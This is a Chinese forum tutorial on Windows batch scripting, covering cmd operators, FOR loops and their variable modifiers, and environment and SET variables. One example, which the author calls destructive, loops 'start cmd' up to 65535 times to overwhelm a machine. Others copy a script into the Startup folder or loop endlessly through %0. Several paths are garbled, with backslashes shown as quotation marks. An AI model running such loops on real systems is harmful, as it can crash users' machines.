这个命令和上边的类似，但区别是，第一个命令失败时，后边的命令也不会执行<br />
<br />
<br />
dir z:" &amp;&amp; dir y:" &amp;&amp; dir c:"<br />
<br />
<br />
八、""<br />
<br />
双引号允许在字符串中包含空格，进入一个特殊目录可以用如下方法<br />
<br />
cd "program files"<br />
cd progra~1<br />
cd pro*<br />
<br />
以上三种方法都可以进入program files这个目录<br />
<br />
<br />
九、,<br />
<br />
逗号相当于空格，在某些情况下&#8220;,&#8221;可以用来当做空格使<br />
<br />
比如<br />
<br />
dir,c:"<br />
<br />
十、；<br />
<br />
分号，当命令相同时，可以将不同目标用；来隔离，但执行效果不变，如执行过程中发生错误，则只返回错误报告，但程序还是会<br />
<br />
执行。<br />
<br />
比如：<br />
<br />
dir c:";d:"e:";f:"<br />
<br />
以上命令相当于<br />
<br />
dir c:"<br />
dir d:"<br />
dir e:"<br />
dir f:"<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<br />
就说这些了!各位有什么<span href="http://bbs.verybat.cn/tag.php?name=%D2%E2%BC%FB" onclick="tagshow(event)" class="t_tag">意见</span>请回贴!有什么疑问请到BAT<span href="http://bbs.verybat.cn/tag.php?name=%BD%BB%C1%F7" onclick="tagshow(event)" class="t_tag">交流</span>区发贴!下一节改进!<br />
<br />
<br />
<br />
<h2>第二节(for命令详解)</h2>
<br />
看了看第一节的东西,发现那些简单的命令都有详细解释,实在想不出什么更好的东西来解释他们,就直接来一个"FOR命令详解"在其中运用这些东西来解释吧!<br />
<br />
讲FOR之前呢,咋先告诉各位新手朋友,如果你有什么命令不懂,直接在CMD下面输入:<br />
name /? 这样的格式来看系统给出的帮助文件,比如for /? 就会把FOR命令的帮助全部显示出来!当然许多菜鸟同志都看不懂....所以才会有那么多批处理文章!!!!俺也照顾菜鸟,把FOR命令用我自己的方式说明下!<br />
<br />
正式开始:<br />
<br />
FOR这条命令基本上都被用来处理文本,我们这次除了要说他处理文本的作用外还要讲他的其他一些好用的功能!<br />
<br />
看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号)<br />
FOR 参数 %%变量名 IN (相关文件或命令) DO 执行的命令<br />
<br />
参数:FOR有4个参数 /d&nbsp; &nbsp;/l&nbsp; &nbsp;/r&nbsp; &nbsp;/f&nbsp; &nbsp;他们的作用我在下面用例子解释<br />
%%变量名 :这个变量名可以是小写a-z或者大写A-Z,他们区分大小写哦~<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;FOR会把每个读取到的值给他!<br />
IN:命令的格式,照写就是了!<br />
(相关文件或命令) :FOR要把什么东西读取然后赋值给变量,不懂的话看下面的例子<br />
do:命令的格式,照写就是了!<br />
执行的命令:对每个变量的值要执行什么操作就写在这.<br />
<br />
看不懂我的这些说明,可以在CMD输入for /?看系统提供的帮助!我这里也给出来吧,大家对照<br />
FOR %%variable IN (set) DO command [command-parameters]<br />
<br />
&nbsp;&nbsp;%%variable&nbsp;&nbsp;指定一个单一字母可替换的参数。<br />
&nbsp;&nbsp;(set)&nbsp; &nbsp;&nbsp; &nbsp;指定一个或一组文件。可以使用通配符。<br />
&nbsp;&nbsp;command&nbsp; &nbsp; 指定对每个文件执行的命令。<br />
&nbsp;&nbsp;command-parameters<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 为特定命令指定参数或命令行开关。<br />
<br />
<br />
现在开始讲每个参数的意思<br />
<br />
/d <br />
仅为目录 <br />
如果 Set (也就是我上面写的 "相关文件或命令") 包含通配符（* 和 ?），将对与 Set 相匹配的每个目录（而不是指定目录中的文件组）执行指定的 Command。<br />
<br />
这个参数其实我也没弄太懂...有错误希望各位纠正!<br />
系统帮助的格式:FOR /D %%variable IN (set) DO command<br />
他主要用于目录搜索,不会搜索文件,看这样的例子<br />
@echo off<br />
for /d %%i in (*) do @echo %%i<br />
pause<br />
把他保存放在C盘根目录执行,就会把C盘目录下的全部目录名字打印出来,而文件名字一个也不显示!<br />
在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来<br />
@echo off<br />
for /d %%i in (???) do @echo %%i<br />
pause<br />
这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了<br />
<br />
这里解释下*号和?号的作用,*号表示任意N个字符,而?号只表示任意一个字符<br />
<br />
知道作用了,给大家个思考题目!<br />
<br />
@echo off<br />
for /d %%i in (window?) do @echo %%i<br />
pause<br />
保存到C盘下执行,会显示什么呢?自己看吧!<br />
/D参数只能显示当前目录下的目录名字,这个大家要注意!<br />
<br />
<br />
/R<br />
递归 <br />
进入根目录树 [Drive:]Path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则认为是当前目录。如果 Set 只是一个句点 (.)，则只枚举目录树。<br />
系统帮助的格式:FOR /R [[drive:]path] %%variable IN (set) DO command<br />
<br />
上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比/D强大多了!<br />
他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!<br />
<br />
@echo off<br />
for /r c:" %%i in (*.exe) do @echo %%i<br />
pause<br />
咋们把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录,和每个目录的子目录下面全部的EXE文件都列出来了!!!!<br />
<br />
再来一个<br />
@echo off<br />
for /r %%i in (*.exe) do @echo %%i<br />
pause<br />
参数不一样了吧!这个命令前面没加那个C:"也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这个BAT你把他防灾d:"test目录下执行,那么他就会把D:"test目录和他下面的子目录的全部EXE文件列出来!!!<br />
<br />
这个参数大家因该理解了吧!还是满好玩的命令!<br />
<br />
<br />
/L<br />
迭代数值范围 <br />
使用迭代变量设置起始值 (Start#)，然后逐步执行一组范围的值，直到该值超过所设置的终止值 (End#)。/L 将通过对 Start# 与
End# 进行比较来执行迭代变量。如果 Start# 小于 End#，就会执行该命令。如果迭代变量超过
End#，则命令解释程序退出此循环。还可以使用负的 Step# 以递减数值的方式逐步执行此范围内的值。例如，(1,1,5) 生成序列 1 2
3 4 5，而 (5,-1,1) 则生成序列 (5 4 3 2 1)。语法是： <br />
<br />
系统帮助的格式:for /L %% Variable in (Start#,Step#,End#) do Command <br />
<br />
看着这说明有点晕吧!咋们看例子就不晕了!<br />
<br />
@echo off<br />
for /l %%i in (1,1,5) do @echo %%i<br />
pause<br />
保存执行看效果,他会打印从1 2 3 4 5&nbsp;&nbsp;这样5个数字<br />
(1,1,5)这个参数也就是表示从1开始每次加1直到5终止!<br />
<br />
大会晕,就打印个数字有P用...好的满足大家,看这个例子<br />
@echo off<br />
for /l %%i in (1,1,5) do start cmd<br />
pause<br />
执行后是不是吓了一跳,怎么多了5个CMD窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,我先告诉大家,会打开65535个CMD窗口....这么多你不死机算你强!<br />
当然我们也可以把那个start cmd改成md %%i 这样就会建立指定个目录了!!!名字为1-65535<br />
<br />
看完这个被我赋予破坏性质的参数后,我们来看最后一个参数<br />
<br />
/f<br />
<br />
"迭代及文件解析 <br />
使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串，并使用各种 ParsingKeywords
选项进一步修改解析方式。使用 ParsingKeywords 令牌选项指定哪些令牌应该作为迭代变量传递。请注意：在没有使用令牌选项时，/F
将只检查第一个令牌。<br />
文件解析过程包括读取输出、字符串或文件内容，将其分成独立的文本行以及再将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代变量值，调用 for 循环。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。<br />
<br />
系统帮助的格式:<br />
for /F "ParsingKeywords" %% Variable in (FileNameSet) do Command <br />
<br />
有没有发现这个参数说明比上面几个都多...没办法,人们用FOR命令主要也就是用/f参数,FOR的主场啊!大家得好好看!<br />
<br />
先来解释下那个多出来的"ParsingKeywords" <br />
他表示4个参数<br />
eol=c&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 指一个行注释字符的结尾(就一个)<br />
skip=n&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 指在文件开始时忽略的行数。<br />
delims=xxx&nbsp; &nbsp;&nbsp; &nbsp;- 指分隔符集。这个替换了空格和跳格键的<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 默认分隔符集。<br />
tokens=x,y,m-n&nbsp;&nbsp;- 指每行的哪一个符号被传递到每个迭代<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 的 for 本身。这会导致额外变量名称的分配。m-n<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 格式为一个范围。通过 nth 符号指定 mth。如果<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 符号字符串中的最后一个字符星号，<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 那么额外的变量将在最后一个符号解析之后<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 分配并接受行的保留文本。<br />
usebackq&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 指定新语法已在下类情况中使用:<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 在作为命令执行一个后引号的字符串并且一个单<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 引号字符为文字字符串命令并允许在 filenameset<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 中使用双引号扩起文件名称。<br />
<br />
先别晕了!我这就举个例子帮助大家来理解这些参数!<br />
usebackq这个参数不用理解了,系统默认会给我们加上!<br />
<br />
为了能使用这个例子,我们先新建一个文本文件,在里面打上这些内容保存为test.txt:<br />
<br />
;郁闷啊!<br />
您好! 欢迎来到, 非常批处理<br />
我们的网站 bbs.verybat.cn<br />
完毕!<br />
<br />
@echo off<br />
FOR /F "eol=; tokens=1 delims= " %%i in (test.txt) do @echo %%i<br />
pause<br />
我们把这个BAT保存到和你的test.txt相同的目录下面然后执行<br />
我们会看到屏幕上会显示<br />
<br />
您好!<br />
我们的网站<br />
完毕!<br />
<br />
为什么会这样?我来解释<br />
这个命令会读取在当前目录下名为test.txt文件中的内容,然后将每一行的内容赋值给变量%%i,然后忽略掉以;号开头的行,并且以空格做为分隔符号,打印第每行以空各做分隔符号的第一列<br />
<br />
结果就是这样了!!<br />
如果改成<br />
<br />
<br />
当然我们想要把全部文件内容直接打印出来就可以这样<br />
@echo off<br />
FOR /F "delims=" %%i in (test.txt) do @echo %%i<br />
pause<br />
<br />
另外/F参数还可以以输出命令的结果看这个例子<br />
<br />
@echo off<br />
FOR /F "delims=" %%i in ('net user') do @echo %%i<br />
pause<br />
<br />
这样你本机全部帐号名字就出来了把扩号内的内容用两个单引号引起来就表示那个当命令执行,FOR会返回命令的每行结果,加那个"delims=" 是为了让我空格的行能整行显示出来,不加就只显示空格左边一列!<br />
<br />
<br />
基本上讲完了FOR的基本用法了...如果你看过FOR的系统帮助,你会发现他下面还有一些特定义的变量,这些我先不讲.大家因该都累了吧!你不累我累啊....<br />
<br />
本节到此结速,希望对各位有所帮助!<br />
<br />
<br />
<br />
<br />
<h2>第三节(FOR命令中的变量)</h2>
<br />
FOR命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法!<br />
<br />
<br />
先把FOR的变量全部列出来:<br />
&nbsp; &nbsp;&nbsp;&nbsp;~I&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 删除任何引号(")，扩展 %I<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~fI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到一个完全合格的路径名<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~dI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个驱动器号<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~pI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个路径<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~nI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个文件名<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~xI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个文件扩展名<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~sI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 扩展的路径只含有短名<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~aI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到文件的文件属性<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~tI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到文件的日期/时间<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~zI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到文件的大小<br />
&nbsp; &nbsp;&nbsp;&nbsp;%~$PATH:I&nbsp; &nbsp;- 查找列在路径环境变量的目录，并将 %I 扩展<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 到找到的第一个完全合格的名称。如果环境变量名<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 未被定义，或者没有找到文件，此组合键会扩展到<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 空字符串<br />
<br />
<br />
我们可以看到每行都有一个大写字母"I",这个I其实就是我们在FOR带入的变量,我们FOR语句代入的变量名是什么,这里就写什么.<br />
比如:FOR /F&nbsp;&nbsp;%%z IN ('set') DO @echo %%z<br />
这里我们代入的变量名是z那么我们就要把那个I改成z,例如%~fI改为%~fz<br />
至于前面的%~p这样的内容就是语法了!<br />
<br />
<br />
好开始讲解:<br />
<br />
~I&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 删除任何引号(")，扩展 %I<br />
这个变量的作用就如他的说明,删除引号!<br />
我们来看这个例子:<br />
<br />
首先我们在桌面建立一个名字为temp.txt文本文件,在里面输入这些内容<br />
"1111<br />
2222"<br />
"3333"<br />
44"44<br />
然后在建立个BAT文件代码如下:<br />
<br />
FOR /F "delims=" %%i IN (temp.txt) DO @echo&nbsp;&nbsp;%%~i<br />
pause<br />
<br />
执行后,我们看CMD的回显如下:<br />
1111<br />
2222"<br />
3333<br />
44"44<br />
和之前temp.txt中的内容对比一下,我们会发现第一行和第三行的引号都消失了,这就是删除引号~i的作用了!<br />
删除引号规则如下(BAT兄补充!)<br />
1、若字符串首尾同时存在引号，则删除首尾的引号；<br />
2、若字符串尾不存在引号，则删除字符串首的引号；<br />
3、如果字符串中间存在引号，或者只在尾部存在引号，则不删除。<br />
<br />
<br />
<br />
%~fI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到一个完全合格的路径名<br />
看例子:<br />
把代码保存放在随便哪个地方,我这里就放桌面吧.<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~fi<br />
pause<br />
<br />
执行后显示内容如下<br />
C:\Documents and Settings\Administrator\桌面\test.bat<br />
C:\Documents and Settings\Administrator\桌面\test.vbs<br />
当我把代码中的 %%~fi直接改成%%i<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%i<br />
pause<br />
<br />
执行后就会显示这些内容<br />
test.bat<br />
test.vbs<br />
<br />
通过对比,我们很容易就看出没有路径了,这就是"将 %I 扩展到一个完全合格的路径名"的作用<br />
也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单<br />
单打印一个文件名,自己动手动实验下就知道了!<br />
<br />
%~dI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个驱动器号<br />
看例子:<br />
代码如下,我还是放到桌面执行!<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~di<br />
pause<br />
执行后我CMD里显示如下<br />
C:<br />
C:<br />
我桌面就两个文件test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名,他就会把他这文件<br />
或者目录所在的盘符号打印出来!<br />
<br />
<br />
%~pI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个路径<br />
这个用法和上面一样,他只打印路径不打印文件名字<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~pi<br />
pause<br />
<br />
我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!<br />
<br />
<br />
%~nI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个文件名<br />
只打印文件名字<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~ni<br />
pause<br />
<br />
<br />
%~xI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 仅将 %I 扩展到一个文件扩展名<br />
只打印文件的扩展名<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~xi<br />
pause<br />
<br />
<br />
%~sI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 扩展的路径只含有短名<br />
打印绝对短文件名<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~si<br />
pause<br />
<br />
<br />
%~aI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到文件的文件属性<br />
打印文件的属性<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~ai<br />
pause<br />
<br />
<br />
%~tI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到文件的日期/时间<br />
打印文件建立的日期<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~ti<br />
pause<br />
<br />
<br />
%~zI&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 将 %I 扩展到文件的大小<br />
打印文件的大小<br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo&nbsp;&nbsp;%%~zi<br />
pause<br />
<br />
<br />
%~$PATH:I&nbsp; &nbsp;- 查找列在路径环境变量的目录，并将 %I 扩展<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 到找到的第一个完全合格的名称。如果环境变量名<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 未被定义，或者没有找到文件，此组合键会扩展到<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 空字符串<br />
这是最后一个,和上面那些都不一样,我单独说说!<br />
<br />
<br />
然后在把这些代码保存为批处理,放在桌面.<br />
FOR /F "delims==" %%i IN ('net.exe') DO @echo&nbsp;&nbsp;%%~$PATH:i<br />
pause<br />
<br />
他的意思就在PATH变量里指定的路径里搜索net,exe文件，如果有net.exe则会把他所在绝对路径打印出来，没有就打印一个错误！<br />
<br />
好了,FOR的的变量就介绍到这了!<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; BY&nbsp;&nbsp;伤脑筋<br />
<br />
<br />
<br />
<br />
<h2>第四节(批处理中的变量)</h2>
<br />
批处理中的变量,我把他分为两类,分别为"系统变量"和"自定义变量"<br />
<br />
我们现在来详解这两个变量!<br />
<br />
<br />
系统变量:<br />
<br />
他们的值由系统将其根据事先定义的条件自动赋值,也就是这些变量系统已经给他们定义了值,<br />
不需要我们来给他赋值,我们只需要调用而以!&nbsp;&nbsp;我把他们全部列出来!<br />
<br />
<br />
%ALLUSERSPROFILE% 本地 返回&#8220;所有用户&#8221;配置文件的位置。 <br />
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 <br />
%CD% 本地 返回当前目录字符串。 <br />
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 <br />
%CMDEXTVERSION% 系统 返回当前的&#8220;命令处理程序扩展&#8221;的版本号。 <br />
%COMPUTERNAME%&nbsp;&nbsp;系统 返回计算机的名称。 <br />
%COMSPEC%&nbsp;&nbsp;系统 返回命令行解释器可执行程序的准确路径。 <br />
%DATE%&nbsp;&nbsp;系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 <br />
<br />
date 命令的详细信息，请参阅 Date。 <br />
%ERRORLEVEL%&nbsp;&nbsp;系统 返回上一条命令的错误代码。通常用非零值表示错误。 <br />
%HOMEDRIVE%&nbsp;&nbsp;系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用<br />
<br />
户主目录是在&#8220;本地用户和组&#8221;中指定的。 <br />
%HOMEPATH%&nbsp;&nbsp;系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在&#8220;本<br />
<br />
地用户和组&#8221;中指定的。 <br />
%HOMESHARE%&nbsp;&nbsp;系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是<br />
<br />
在&#8220;本地用户和组&#8221;中指定的。 <br />
%LOGONSERVER%&nbsp;&nbsp;本地 返回验证当前登录会话的域控制器的名称。 <br />
%NUMBER_OF_PROCESSORS%&nbsp;&nbsp;系统 指定安装在计算机上的处理器的数目。 <br />
%OS%&nbsp;&nbsp;系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 <br />
%PATH% 系统 指定可执行文件的搜索路径。 <br />
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 <br />
%PROCESSOR_ARCHITECTURE%&nbsp;&nbsp;系统 返回处理器的芯片体系结构。值：x86 或 IA64 基于 <br />
<br />
Itanium <br />
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。 <br />
%PROCESSOR_LEVEL%&nbsp;&nbsp;系统 返回计算机上安装的处理器的型号。 <br />
%PROCESSOR_REVISION% 系统 返回处理器的版本号。 <br />
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 <br />
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 <br />
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录（即系统根目录）<br />
<br />
的驱动器。 <br />
%SYSTEMROOT%&nbsp;&nbsp;系统 返回 Windows server operating system 根目录的位置。 <br />
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。<br />
<br />
有些应用程序需要 TEMP，而其他应用程序则需要 TMP。 <br />
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 <br />
<br />
time 命令的详细信息，请参阅 Time。 <br />
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。 <br />
%USERNAME% 本地 返回当前登录的用户的名称。 <br />
%USERPROFILE% 本地 返回当前用户的配置文件的位置。 <br />
%WINDIR% 系统 返回操作系统目录的位置。 <br />
<br />
<br />
这么多系统变量,我们如何知道他的值是什么呢?<br />
在CMD里输入&nbsp;&nbsp;echo %WINDIR%<br />
windir变量名,不是随便乱输的!<br />
这样就能显示一个变量的值了!&nbsp;&nbsp;<br />
<br />
举个实际例子,比如我们要复制文件到当前帐号的启动目录里就可以这样<br />
<br />
copy d:\1.bat "%USERPROFILE%\「开始」菜单\程序\启动\"<br />
<br />
%USERNAME% 本地 返回当前登录的用户的名称。&nbsp;&nbsp;注意有空格的目录要用引号引起来<br />
<br />
<br />
另外还有一些系统变量,他们是代表一个意思,或者一个操作!<br />
<br />
他们分别是%0 %1 %2 %3 %4 %5 ......一直到%9 还有一个%*<br />
<br />
%0 这个有点特殊,有几层意思,先讲%1-%9的意思.<br />
<br />
%1 返回批处理的第一个参数<br />
%2 返回批处理的第二个参数<br />
%3-%9依此推类<br />
<br />
反回批处理参数?到底怎么个返回法?<br />
<br />
我们看这个例子,把下面的代码保存为test.BAT然后放到C盘下<br />
<br />
@echo off<br />
echo %1 %2 %3 %4<br />
echo %1<br />
echo %2<br />
echo %3<br />
echo %4<br />
<br />
进入CMD,输入cd c:\<br />
然后输入 test.bat 我是第一个参数 我是第二个参数&nbsp;&nbsp;我是第三个参数&nbsp;&nbsp;我是第四个参数<br />
<br />
注意中间的空额,我们会看到这样的结果:<br />
<br />
我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数<br />
我是第一个参数<br />
我是第二个参数<br />
我是第三个参数<br />
我是第四个参数<br />
<br />
对比下代码,%1就是我是第一个参数 %2就是我是第二个参数<br />
怎么样理解了吧!<br />
<br />
<br />
这些%1和%9可以让批处理也能带参数运行,大大提高批处理功能!<br />
<br />
<br />
<br />
还有一个%*&nbsp;&nbsp;他是什么呢?他的作用不是很大,只是返回参数而已,不过他是一次返回全部参数<br />
<br />
的值,不用在输入%1 %2来确定一个个的<br />
<br />
<br />
例子<br />
@echo off<br />
echo %*<br />
<br />
同样保存为test.bat 放到C盘<br />
进入CMD,输入cd c:\<br />
然后输入 test.bat 我是第一个参数 我是第二个参数&nbsp;&nbsp;我是第三个参数&nbsp;&nbsp;我是第四个参数<br />
<br />
可以看到他一次把全部参数都显示出来了<br />
<br />
<br />
好现在开始讲那个比较特殊的%0 <br />
<br />
<br />
%0&nbsp;&nbsp;这个不是返回参数的值了,他有两层意思!<br />
<br />
第一层意思:返回批处理所在绝对路径<br />
<br />
例子: <br />
@echo off<br />
echo %0<br />
pause<br />
<br />
保存为test.BAT放在桌面运行,会显示如下结果<br />
"C:\Documents and Settings\Administrator\桌面\test.bat"<br />
<br />
他把当前批处理执行的所在路经打印出来了,这就是返回批处理所在绝对路径的意思<br />
<br />
第二层意思:无限循环执行BAT<br />
<br />
例子:<br />
@echo off<br />
net user<br />
%0<br />
<br />
保存为BAT执行,他就会无限循环执行net user这条命令,直到你手动停止.<br />
<br />
以上就是批处理中的一些系统变量,另外还有一些变量,他们也表示一些功能,<br />
FOR命令中的那些就是,FOR变量已经说过,就不讲了.<br />
<br />
<br />
现在说自定义变量<br />
<br />
故名思意,自定义变量就是由我们来给他赋予值的变量<br />
<br />
要使用自定义变量就得使用set命令了,看例子.<br />
<br />
@echo off<br />
set var=我是值<br />
echo %var%<br />
pause<br />
<br />
保存为BAT执行,我们会看到CMD里返回一个&nbsp;&nbsp;"我是值"<br />
<br />
var为变量名,=号右变的是要给变量的值<br />
这就是最简单的一种设置变量的方法了<br />
<br />
如果我们想让用户手工输入变量的值,而不是在代码里指定,可以用用set命令的/p参数<br />
<br />
例子:<br />
<br />
@echo off<br />
set /p var=请输入变量的值<br />
echo %var%<br />
pause<br />
<br />
var变量名&nbsp;&nbsp;=号右边的是提示语,不是变量的值<br />
变量的值由我们运行后自己用键盘输入!<br />
<br />
<br />
好了批处理的变量先介绍到这,关于set命令,下次在写个专门的文章吧.<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;by 伤脑筋<br />
<br />
<br />
<br />
<br />
<h2>第五节(set命令详解)</h2>
<br />
很久没发贴了,今天来写点讲BAT的新手教学贴!<br />
<br />
在上一贴中我简单的介绍了一下SET设置自定义变量的作用,现在我来具体讲一下set的其他功<br />
<br />
能.<br />
<br />
先回顾一下他设置自定义变量的用法<br />
<br />
例子:<br />
@echo off<br />
set var=我是值<br />
echo %var%<br />
pause<br />
<br />
请看 set var=我是值 ,这就是BAT直接在批处理中设置变量的方法!<br />
set 是命令&nbsp; &nbsp;var是变量名&nbsp;&nbsp;=号右边的"我是值"是变量的值<br />
